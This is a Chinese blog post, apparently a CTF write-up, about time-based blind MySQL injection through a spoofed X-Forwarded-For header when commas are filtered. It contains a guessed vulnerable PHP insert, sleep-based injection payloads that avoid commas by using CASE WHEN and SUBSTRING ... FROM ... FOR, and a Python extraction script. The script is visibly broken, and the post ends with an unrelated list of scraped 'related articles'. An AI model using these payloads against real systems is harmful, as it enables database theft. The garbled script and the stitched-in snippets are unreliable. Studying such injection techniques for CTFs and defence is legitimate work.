明天早上满课,然而我三点了还在任性的写代码,真是该剁手,剁手啊…

在一个 ctf比赛中,遇到这样一个注入题:

用户的ip可以用x-forwarded-for来伪造,然后把ip存储到数据库中去,对ip没有进行任何过滤,存在注入,但是有一个限制就是:  用‘,’逗号对ip地址进行分割,仅仅取逗号前面的第一部分内容。

然后:没有报错,没有回显,没有bool,只有延时。 送一个字,坑。。。。。

比赛的时候,就各种纠结,想着怎么绕过逗号,没想出来,比赛结束之后,仔细想想,终于搞明白了,做以下的总结。

据我猜测,后台代码可能是这样的:

<?php
error_reporting(0);function getIp(){$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{$ip = $_SERVER['REMOTE_ADDR'];
}$ip_arr = explode(',', $ip);return $ip_arr[0];
}$host="localhost";
$user="root";
$pass="root";
$db="sangebaimao";$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");mysql_select_db($db) or die("Unable to select database");$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);?>

写一下我的数据库的表结构:

CREATE TABLE IF NOT EXISTS `client_ip` (`id` int(11) NOT NULL AUTO_INCREMENT,`ip` varchar(200) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk AUTO_INCREMENT=34 ;CREATE TABLE IF NOT EXISTS `flag` (`flag` varchar(32) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=gbk;INSERT INTO `flag` (`flag`) VALUES
('327a6c4304ad5938eaf0efb6cc3e53dc');

我的目标是注出来flag表中的flag字段。

分析一下:

因为没有报错,没有回显。所以只能是延时盲注。

测试一下:

x-forwarded-for: 10.20.0.12'+sleep(5) and '1'='1

果真延时了,注入是存在的,但是怎么出数据呢???
没有逗号,所以if函数就不能用了。
那用另外一个:

select case when (条件) then 代码1 else 代码 2 end 

把判断搞定了,但是怎么截取字符串呢? 截取字符串函数貌似都需要逗号啊!!!

百度了好久,才知道可以这样玩:

select substring((select user()) from 1 for 1);  #第一种方法
select substring((select user()) from -1);  #第二种方法

截取字符串的函数有了,判断也有了。那就搞定了:

找到两种payload

insert into client_ip (ip) values ('ip'+(select case when (substring((select user()) from 1 for 1)='e') then sleep(3) else 0 end));  --第一种payloadinsert into client_ip (ip) values ('ip'+(select case when (substring((select  user()) from -1)='t') then sleep(3) else 0 end));  --第二种payload

接下来就是写个脚本跑了:

import requestspayload = "qwertyuiopasdfghjklzxcvbnm1234567890"url = "http://127.0.0.1/test1.php"flag = ""for i in range(50):for j in payload:headers = {'HTTP_X_FORWARDED_FOR':"127.0.0.1'"+"(select case when (substring((select flag from flag limit 1) from int(i) for 1)=str(j)) then sleep(6) else 0 end) and '1'='1''"}try:res = requests.get(url,headers=headers,timeout=4)except requests.exceptions.ReadTimeout,e:flag = flag+jprint flagbreakelse:pass

转载于:https://www.cnblogs.com/Elope/p/6562726.html

mysql无逗号注入相关推荐

  1. mysql 去除逗号_mysql注入之过滤逗号

    1.联合查询 无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select * from ( (select user())a ...

  2. mysql 数值型注入_slq-注入总结(中)

    上一节中,大致把sql中的函数记录了下,如果有什么不足希望各位师傅斧正.晚自习没课,所以现在把常见的注入方式,以及利用过程讲一下. 注入类型 数值型注入 也就是说后台的sql语句直接拼接的一个数值,可 ...

  3. mysql中逗号前的字符串_MySql逗号拼接字符串查询的两种方法

    下面两个函数的使用和FIND_IN_SET一样,使用时只需要把FIND_IN_SET换成FIND_PART_IN_SET或FIND_ALL_PART_IN_SET 例如某字段里是为1,2,3,4,5 ...

  4. SQL注入绕过之过滤了‘as‘与无列名注入

    0x00 当过滤了as时: 也就代表database()无法使用,无法查询数据库信息 换思路获取库名,利用报错: -1' || (select*from aa)#          -1'or(sel ...

  5. mysql简单防注入_mysql防止sql注入的方法

    mysql防止sql注入的方法 发布时间:2020-08-25 14:07:29 来源:亿速云 阅读:98 作者:小新 这篇文章将为大家详细讲解有关mysql防止sql注入的方法,小编觉得挺实用的,因 ...

  6. 由mysql报错注入引发的探究与思考(Group by, rand函数相关,松散索引扫描、紧凑索引扫描相关)

    目录 本文要点 原理探讨(Group by, rand函数相关) 进一步的思考:索引与Group By语句 本文要点 当服务器没有关闭报错回显信息显示时,便可考虑实施报错注入类型的Mysql注入攻击. ...

  7. Bypass information_schema与无列名注入

    文章目录 Bypass information_schema 前言 前置任务 MySQL5.7的新特性 sys.schema_auto_increment_columns schema_table_s ...

  8. SQL无列名注入方法总结(基于union, join)

    本文要点 本文整理出两种场景以及对应的攻击方法,第一种方法依赖于join clause,第二种方法依赖于union clause. 参考相关博文并简要介绍所使用的无列名注入攻击方法. 本文对SQL官方 ...

  9. php mysql 防 sql注入_php 防sql注入方法

    php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...

最新文章

  1. 深度理解目标检测(MMdetection)-HOOK机制
  2. 最简单的日历控件“星期几”变为“几”
  3. 学习笔记-小甲鱼Python3学习第九讲:了不起的分支和循环3
  4. php防止注入漏洞,php防止sql注入漏洞代码
  5. go-ethereum-code-analysis 以太坊源码分析
  6. JS-copy到剪贴板
  7. python下常用OpenCV代码
  8. 再战android-语音识别2(修改配置)
  9. C++(15)--面向对象编程实践-欢乐斗地主(vector的花式输出)
  10. LeetCode 1930. 长度为 3 的不同回文子序列(计数)
  11. 解压的mysql_10分钟教你解决安装解压版mysql出现的各种问题
  12. ERP系统重新打开订单的后台限制解析
  13. python 定时任务 web管理_python定时任务
  14. linux获取脚本文件路径
  15. python中not是什么意思_python中的not具体使用及意思
  16. c语言求解一元二次方程的复根,c语言 求一元二次方程的根(含复根)
  17. 大数据分析的四个关键环节
  18. composer更换镜像源
  19. 一篇文章让你搞懂Mysql InnoDB内存结构
  20. oracle学生选课查询(学生表student、成绩表sc、课程表c)

热门文章

  1. (学习笔记)图像处理——直方图均衡化(HE)
  2. 12 个不可错过的 Vue UI 组件库,请查收
  3. 骨传导耳机哪款性价比高、性价比最高的骨传导耳机排行榜
  4. 利用计算机解决实际问题依赖于,浅谈新时期如何提高职业教育教师素质
  5. HTML — 淡入淡出边框按钮
  6. Redis如何实现消息队列
  7. PS图文教程之制作漂亮三维金属文字
  8. 解决VC2015包含stdint.h头文件冲突问题
  9. vmware虚拟机磁盘挂载丢失(Centos)进入紧急模式的修复方法
  10. 高效文本处理三剑客之一【grep】